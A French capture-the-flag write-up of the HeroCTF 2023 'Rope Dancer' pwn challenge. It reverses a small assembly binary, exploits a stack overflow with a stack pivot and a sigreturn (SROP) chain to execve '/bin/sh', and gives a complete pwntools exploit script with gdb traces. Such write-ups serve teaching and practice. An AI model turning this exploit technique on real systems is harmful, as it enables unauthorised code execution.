heroctf 2023 - ROPE dancer
ROP dancer
Introduction
Ce challenge était proposé dans la catégorie pwn de heroctf 2023.
Il illustre très bien la technique de pivot et l’usage de l’appel système sig_return.
L’énoncé :
Rope Dancer
500
medium
A circus has just opened near you and you would love to work there as a rope dancer. Perhaps you could access their recruitment criteria to maximize your chances of being selected?
Host : nc static-03.heroctf.fr 5002
Format : Hero{flag}
Author : SoEasY
le matériel : ropedancer.zip
Découverte
Première execution
Hello. So, you want to be a ROPedancer? yes
Alright. Please enter an email on which we can contact you: aaaa@bbb
Thanks. You have 400 characters to convince me to hire you: OKOKOK
We will get back to you soon. Good bye.
Le programme demande la saisie d’une adresse mail puis un long message.
Protections
gef➤ checksec
[+] checksec for '/home/jce/w/heroctf2023/pwn/rope_dancer/ropedancer'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : ✘
L’executable
file ropedancer
ropedancer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped</pre>
Le progamme est lié statiquement et ne dépend donc aps le la libc.
readelf -h ropedancer
En-tête ELF:
Magique: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Classe: ELF64
Données: complément à 2, système à octets de poids faible d'abord (little endian)
Version: 1 (actuelle)
OS/ABI: UNIX - System V
Version ABI: 0
Type: EXEC (fichier exécutable)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Adresse du point d'entrée: 0x401016
Début des en-têtes de programme : 64 (octets dans le fichier)
Début des en-têtes de section : 9584 (octets dans le fichier)
Fanions: 0x0
Taille de cet en-tête: 64 (octets)
Taille de l'en-tête du programme: 56 (octets)
Nombre d'en-tête du programme: 4
Taille des en-têtes de section: 64 (octets)
Nombre d'en-têtes de section: 7
Table d'index des chaînes d'en-tête de section: 6
On peut regarder les sections qui le constituent :
readelf -s ropedancer
La table de symboles « .symtab » contient 30 entrées :
Num: Valeur Tail Type Lien Vis Ndx Nom
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS ropedancer.asm
2: 0000000000402000 0 NOTYPE LOCAL DEFAULT 2 hello
3: 0000000000000029 0 NOTYPE LOCAL DEFAULT ABS hello_len
4: 0000000000402029 0 NOTYPE LOCAL DEFAULT 2 answer_no
5: 000000000000002c 0 NOTYPE LOCAL DEFAULT ABS answer_no_len
6: 0000000000402055 0 NOTYPE LOCAL DEFAULT 2 answer_yes
7: 000000000000003d 0 NOTYPE LOCAL DEFAULT ABS answer_yes_len
8: 0000000000402092 0 NOTYPE LOCAL DEFAULT 2 letter_message
9: 000000000000003d 0 NOTYPE LOCAL DEFAULT ABS letter_message_len
10: 00000000004020cf 0 NOTYPE LOCAL DEFAULT 2 error_email
11: 0000000000000031 0 NOTYPE LOCAL DEFAULT ABS error_email_len
12: 0000000000402100 0 NOTYPE LOCAL DEFAULT 2 good_bye
13: 0000000000000029 0 NOTYPE LOCAL DEFAULT ABS good_bye_len
14: 000000000040312c 0 NOTYPE LOCAL DEFAULT 3 motivation_letter
15: 0000000000401000 0 NOTYPE LOCAL DEFAULT 1 check_email
16: 0000000000401002 0 NOTYPE LOCAL DEFAULT 1 _continue
17: 0000000000401011 0 NOTYPE LOCAL DEFAULT 1 _found
18: 0000000000401015 0 NOTYPE LOCAL DEFAULT 1 _not_found
19: 0000000000401031 0 NOTYPE LOCAL DEFAULT 1 _get_choice
20: 000000000040105c 0 NOTYPE LOCAL DEFAULT 1 _choice_yes
21: 0000000000401074 0 NOTYPE LOCAL DEFAULT 1 _choice_no
22: 0000000000401085 0 NOTYPE LOCAL DEFAULT 1 _exit
23: 000000000040108e 0 NOTYPE LOCAL DEFAULT 1 get_motivation_letter
24: 00000000004010fb 0 NOTYPE LOCAL DEFAULT 1 _bad_email
25: 0000000000401114 0 NOTYPE LOCAL DEFAULT 1 _get_motivation_[...]
26: 0000000000401016 0 NOTYPE GLOBAL DEFAULT 1 _start
27: 0000000000403129 0 NOTYPE GLOBAL DEFAULT 3 __bss_start
28: 0000000000403129 0 NOTYPE GLOBAL DEFAULT 3 _edata
29: 00000000004032c0 0 NOTYPE GLOBAL DEFAULT 3 _end
C’est un programme qui a été écrit en assembleur.
Decompilation
function _start:
0x0000000000401016 <+0>: mov eax,0x1
0x000000000040101b <+5>: mov edi,0x1
0x0000000000401020 <+10>: movabs rsi,0x402000 ; "Hello. So, you want to be a ROPedancer? "
0x000000000040102a <+20>: mov edx,0x29
0x000000000040102f <+25>: syscall
0x401016 <_start>: mov eax,0x1
0x40101b <_start+5>: mov edi,0x1
0x401020 <_start+10>: movabs rsi,0x402000
0x40102a <_start+20>: mov edx,0x29
0x40102f <_start+25>: syscall ; syscall(sys_write,1, hello, 41)
0x401031 <_get_choice>: sub rsp,0x4
0x401035 <_get_choice+4>: xor eax,eax
0x401037 <_get_choice+6>: xor edi,edi
0x401039 <_get_choice+8>: mov rsi,rsp
0x40103c <_get_choice+11>: mov edx,0x4
0x401041 <_get_choice+16>: syscall ; syscall(sys_read,0, stack, 4)
0x401043 <_get_choice+18>: mov ebx,DWORD PTR [rsp]
0x401046 <_get_choice+21>: add rsp,0x4 ;
0x40104a <_get_choice+25>: mov eax,0x1
0x40104f <_get_choice+30>: mov edi,0x1
0x401054 <_get_choice+35>: cmp ebx,0xa736579 ; "yes
0x40105a <_get_choice+41>: jne 0x401074 <_choice_no>
0x40105c <_choice_yes>: movabs rsi,0x402055 ""Alright. Please enter an email on which we can contact you: "
0x401066 <_choice_yes+10>: mov edx,0x3d
0x40106b <_choice_yes+15>: syscall ; syscall(sys_write, alwrigth, 62)
0x40106d <_choice_yes+17>: call 0x40108e <get_motivation_letter>
0x401072 <_choice_yes+22>: jmp 0x401085 <_exit>
0x401074 <_choice_no>: movabs rsi,0x402029
0x40107e <_choice_no+10>: mov edx,0x2c
0x401083 <_choice_no+15>: syscall
0x401085 <_exit>: xor edi,edi
0x401087 <_exit+2>: mov eax,0x3c ; sys_exit
0x40108c <_exit+7>: syscall
0x40108e <get_motivation_letter>: push rbp
0x40108f <get_motivation_letter+1>: mov rbp,rsp
0x401092 <get_motivation_letter+4>: sub rsp,0x10 ; stack : 0x10
0x401096 <get_motivation_letter+8>: xor eax,eax ; sys_read
0x401098 <get_motivation_letter+10>: xor edi,edi
0x40109a <get_motivation_letter+12>: mov rsi,rsp
0x40109d <get_motivation_letter+15>: mov edx,0x64 ; 100
0x4010a2 <get_motivation_letter+20>: syscall ; syscall(sys_read, stack, 100)
0x4010a4 <get_motivation_letter+22>: mov rdi,rsp
0x4010a7 <get_motivation_letter+25>: call 0x401000 <check_email>
0x4010ac <get_motivation_letter+30>: test eax,eax
0x4010ae <get_motivation_letter+32>: je 0x4010fb <_bad_email>
0x4010b0 <get_motivation_letter+34>: xor eax,eax
0x4010b2 <get_motivation_letter+36>: inc al
0x4010b4 <get_motivation_letter+38>: xor edi,edi
0x4010b6 <get_motivation_letter+40>: inc edi
0x4010b8 <get_motivation_letter+42>: movabs rsi,0x402092 ; letter_message
0x4010c2 <get_motivation_letter+52>: mov edx,0x3d
0x4010c7 <get_motivation_letter+57>: syscall ; sys_write(letter_message)
0x4010c9 <get_motivation_letter+59>: xor eax,eax
0x4010cb <get_motivation_letter+61>: xor edi,edi
0x4010cd <get_motivation_letter+63>: movabs rsi,0x40312c ; motivation_letter
0x4010d7 <get_motivation_letter+73>: mov edx,0x1f4
0x4010dc <get_motivation_letter+78>: syscall ; syscall(sys_read,0,400,
0x4010de <get_motivation_letter+80>: mov eax,0x1
0x4010e3 <get_motivation_letter+85>: mov edi,0x1
0x4010e8 <get_motivation_letter+90>: movabs rsi,0x402100 ; "We will get back to you soon. Good bye.\n"
0x4010f2 <get_motivation_letter+100>: mov edx,0x29
0x4010f7 <get_motivation_letter+105>: syscall
0x4010f9 <get_motivation_letter+107>: jmp 0x401114 <_get_motivation_letter_end>
0x4010fb <_bad_email>: xor eax,eax
0x4010fd <_bad_email+2>: inc al
0x4010ff <_bad_email+4>: xor edi,edi
0x401101 <_bad_email+6>: inc edi
0x401103 <_bad_email+8>: movabs rsi,0x4020cf ; "This is not a valid email, don't waste my time.\n"
0x40110d <_bad_email+18>: mov edx,0x31
0x401112 <_bad_email+23>: syscall ; sys_write,"This..", 49)
0x401114 <_get_motivation_letter_end>: mov rsp,rbp
0x401117 <_get_motivation_letter_end+3>: pop rbp
0x401118 <_get_motivation_letter_end+4>: ret
On voit qu’on donc pas d’appel à des fonctions de la libc mais à des syscalls.
La faille : debordement sur la saisie de l’adresse mail.
On a un lecture de 100 octets
0x40109d <get_motivation_letter+15>: mov edx,0x64 ; 100
0x4010a2 <get_motivation_letter+20>: syscall ; syscall(sys_read, stack, 100)
A une adresse située à 16 octets du sommet de la pile (SRBP).
0x401092 <get_motivation_letter+4>: sub rsp,0x10 ; stack : 0x10
l’adresse de retour est à 0x18 octets du debut de l’adresse mail.
On peut envisager d’installer un shellcode dans la lettre de motivation qui peut faire 400 octets.
0x4010d7 <get_motivation_letter+73>: mov edx,0x1f4 ; 400
0x4010dc <get_motivation_letter+78>: syscall ; syscall(sys_read,0,400)
MAIS la zone lettre de motivation est dans la section .bss donc pas executable. On ne peut donc pas installer de shellcode dedans
On peut envisager une chaine de ROP pour cela on dispose de peu de gadgets. On un appel syscall
0x000000000040102f : syscall
De quoi maitriser eax
0x0000000000401011 : xor eax, eax ; inc al ; ret
0x0000000000401013 : inc al ; ret
Mais pas de pop rdi, pop rsi.
L’idée est d’utiliser le syscall 15 sys_rt_sigreturn pour restaurer une frame de registre.
0n peut alors installer la chaine bin/sh dans la lettre
Le payload est alors :
- debordement
- xor_eax pour mettre eax à zero
- inc eax 15 fois. pour obtenir eax=15
- syscall
- Une frame sig_return.
On a rencontré l’usage de sig_return dans le challenge HTB “sick rop” pwntools fournit un outil pour construire la frame sig_return.
Pour enchainer sur un syscall execve :
frame = SigreturnFrame(arch='amd64')
frame.rax = 0x3b
frame.rdi = motivation_letter
frame.rsi = 0
frame.rdx = 0
frame.rip = gadget_syscall
Helas ce payload depasse largement la limite de 100 octets de la lecture de l’email. On est a 400 octets (tiens donc ca ca tient dans le second message)
Pivot
On de quoi realiser un pivot en particulier vers la zone lettre de motivation. 0x0000000000401114 : mov rsp, rbp ; pop rbp ; ret
On doit donc opérer en deux etapes :
I. Pivot vers la zone lettre de motivation. II. Ropchaine sig_return execve
I. Pivot le gadget pivot : mov esp, ebp ; pop rbp ; ret On va donc ecraser SRBP avec la valeur cible pour ESP donc motivation_letter Apres le gadget on aura rsp=motivation letter et rbp les 8 premiers octets de motivation_letter ("/bin/sh\0") payload 1:
- 0X10*"@"
- motivation_letter
- gadget spivot
II. Second payload.
Pour appeller syscall il nou faut mettre rax à la valeur 15.
On ne trouve pas de gadget “pop rax” par exemple mais in “xor rax” et un “inc”.
Ou plus précisément xor eax; inc eax; ret
donc
La chaine constituant le second est donc :
- “/bin/sh\0” : pour le exec_ve et sauté par le pop rbp
- xor_eax; inc eax;
- inc eax 14 fois. pour obtenir eax=15 le no de syscall
- syscall
- La frame sig_return.
Exploitation
### Script python
from pwn import *
import time
REMOTE=True
REMOTE=False
DEBUG=True
xs='''
b *get_motivation_letter+25
'''
#context.log_level='debug'
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]
binfile="./ropedancer"
elf=ELF(binfile)
m_letter = elf.symbols['motivation_letter']
if REMOTE:
io=remote("static-03.heroctf.fr",5001)
else:
env = {"LD_PRELOAD": "./libc.so.6"}
if DEBUG:
#io=process(binfile)
#gdb.attach(io,xs)
#time.sleep(.5)
io = gdb.debug(binfile,gdbscript=xs, env=env)
else:
io=process(binfile, env=env)
io.recvuntil(b"ROPedancer?")
io.sendline(b"yes")
xor_eax=0x401011 # xor eax; inc al;ret
inc_al=0x401013
syscall=0x40102f
pivot=0x0401114 # mov esp, ebp ; pop rbp ; ret
# pwntool contient un object SigreturnFrame bien pratique.
frame = SigreturnFrame(arch='amd64')
frame.rax = 0x3b
frame.rdi = m_letter
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
# Payload 1 : email adresse
PL=b"@"*0x10 # Debordement juste RBP
PL+=p64(m_letter) # Pour pop rbp justement
PL+=p64(pivot) # mov esp, ebp ; pop rbp ; ret
print("PL SIZE:",len(PL))
#exit()
log.info("send email ...")
io.recvuntil(b"contact you:")
io.sendline(PL)
# Send ropchain to second message
io.recvuntil(b"hire you:")
PL2=b"/bin/sh\0"
PL2+=p64(xor_eax) # # xor eax; inc al;ret en vrai
PL2+=p64(inc_al)*14
PL2+=p64(syscall)
PL2+=bytes(frame)
io.sendline(PL2)
io.sendline(b"id")
io.interactive()
Execution en pas à pas
BP sur la fin de get_motivation_letter.
0x4010e8 <get_motivation_letter+90> movabs rsi, 0x402100
0x4010f2 <get_motivation_letter+100> mov edx, 0x29
0x4010f7 <get_motivation_letter+105> syscall
=> 0x4010f9 <get_motivation_letter+107> jmp 0x401114 <_get_motivation_letter_end>
0x4010fb <_bad_email+0> xor eax, eax
0x4010fd <_bad_email+2> inc al
0x4010ff <_bad_email+4> xor edi, edi
0x401101 <_bad_email+6> inc edi
0x401103 <_bad_email+8> movabs rsi, 0x4020cf
Suivie du code de fin de fonction :
=> 0x401114 <_get_motivation_letter_end+0> mov rsp, rbp
0x401117 <_get_motivation_letter_end+3> pop rbp
0x401118 <_get_motivation_letter_end+4> ret
Etat de la pile après notre débordement :
0x7ffcbdf01d60: 0x4040404040404040 0x4040404040404040
0x7ffcbdf01d70: 0x000000000040312c 0x0000000000401114
@Save RBP @save RIP
motivation_letter gadget_pivot
0x7ffcbdf01d80: 0x000000000000000a 0x00007ffcbdf02fc7
0x7ffcbdf01d90: 0x0000000000000000 0x00007ffcbdf02fd4
Visu du gadget pivot :
x/3i 0x0000000000401114 0x401114 <_get_motivation_letter_end>: mov rsp,rbp 0x401117 <_get_motivation_letter_end+3>: pop rbp 0x401118 <_get_motivation_letter_end+4>: ret
next instuction
=> 0x401117 <_get_motivation_letter_end+3> pop rbp
0x401118 <_get_motivation_letter_end+4> ret
rsp = rbp
$rsp : 0x007ffcbdf01d70 → 0x0000000040312c → 0x68732f6e69622f ("/bin/sh"?)
ni (pop rbp)
=> 0x401118 <_get_motivation_letter_end+4> ret
$rsp : 0x007ffcbdf01d78 → 0x0000000040111 → <_get_motivation_letter_end> mov rsp, rbp
$rbp : 0x0000000040312c → 0x68732f6e69622f ("/bin/sh"?)
On est pret pour le pivot. Le ret va réaliser un “pop rsp” vers le gadget pivot. On voit que rbp pointe sur “/bin/sh” au debut de motivation_letter.
ni (ret)
=> 0x401114 <_get_motivation_letter_end+0> mov rsp, rbp
0x401117 <_get_motivation_letter_end+3> pop rbp
0x401118 <_get_motivation_letter_end+4> ret
On appelle le gadget pivot.
ni (mov rsp, rbp)
=> 0x401117 <_get_motivation_letter_end+3> pop rbp
0x401118 <_get_motivation_letter_end+4> ret
La pile est sur motivation_letter.
0x0000000040312c│+0x0000: 0x68732f6e69622f ("/bin/sh"?) ← $rsp, $rbp
0x00000000403134│+0x0008: 0x00000000401011 → <_found+0> xor eax, eax
0x0000000040313c│+0x0010: 0x00000000401013 → <_found+2> inc al
0x00000000403144│+0x0018: 0x00000000401013 → <_found+2> inc al
0x0000000040314c│+0x0020: 0x00000000401013 → <_found+2> inc al
0x00000000403154│+0x0028: 0x00000000401013 → <_found+2> inc al
0x0000000040315c│+0x0030: 0x00000000401013 → <_found+2> inc al
0x00000000403164│+0x0038: 0x00000000401013 → <_found+2> inc al
ni (pop rbp)
rsp point maintenant le xor et rbp contient contient “/bin/sh” (sans utilité)
$rsp : 0x00000000403134 → 0x00000000401011 → <_found+0> xor eax, eax
$rbp : 0x68732f6e69622f
On a mainenant basculé la pile sur notre chaine de ROP.
On saute les 15 incréments
ni 31
0x401117 <_get_motivation_letter_end+3> pop rbp
0x401118 <_get_motivation_letter_end+4> ret
On arrive sur le syscall.
0x40101b <_start+5> mov edi, 0x1
0x401020 <_start+10> movabs rsi, 0x402000
0x40102a <_start+20> mov edx, 0x29
=> 0x40102f <_start+25> syscall
On a bien rax=15
$rax : 0xf
Et sur la pile : la structure de frame
0x4031b4: 0x0000000000000000 0x0000000000000000
0x4031c4: 0x0000000000000000 0x0000000000000000
0x4031d4: 0x0000000000000000 0x0000000000000000
0x4031e4: 0x0000000000000000 0x0000000000000000
0x4031f4: 0x0000000000000000 0x0000000000000000
0x403204: 0x0000000000000000 0x0000000000000000
0x403214: 0x0000000000000000 0x000000000040312c < rsi "/bin/sh"
0x403224: 0x0000000000000000 0x0000000000000000
0x403234: 0x0000000000000000 0x0000000000000000
0x403244: 0x000000000000003b<rax 0x0000000000000000
0x403254: 0x0000000000000000 0x000000000040102f < rip
0x403264: 0x0000000000000000 0x0000000000000033
0x403274: 0x0000000000000000 0x0000000000000000
0x403284: 0x0000000000000000 0x0000000000000000
0x403294: 0x0000000000000000 0x0000000000000000
0x4032a4: 0x0000000000000000 0x000000000a64690a
0x4032b4: 0x0000000000000000 0x0000000000000000
0x4032c4: 0x0000000000000000 0x0000000000000000
0x4032d4: 0x0000000000000000 0x0000000000000000
0x4032e4: 0x0000000000000000 0x0000000000000000
A l'instruction suivante les registres sont restaurés :
si
$rax : 0x3b
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x0
$rbp : 0x0
$rsi : 0x0
$rdi : 0x0000000040312c → 0x68732f6e69622f ("/bin/sh"?)
$rip : 0x0000000040102f → <_start+25> syscall
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
Et go …
process 42829 is executing new program: /usr/bin/dash
...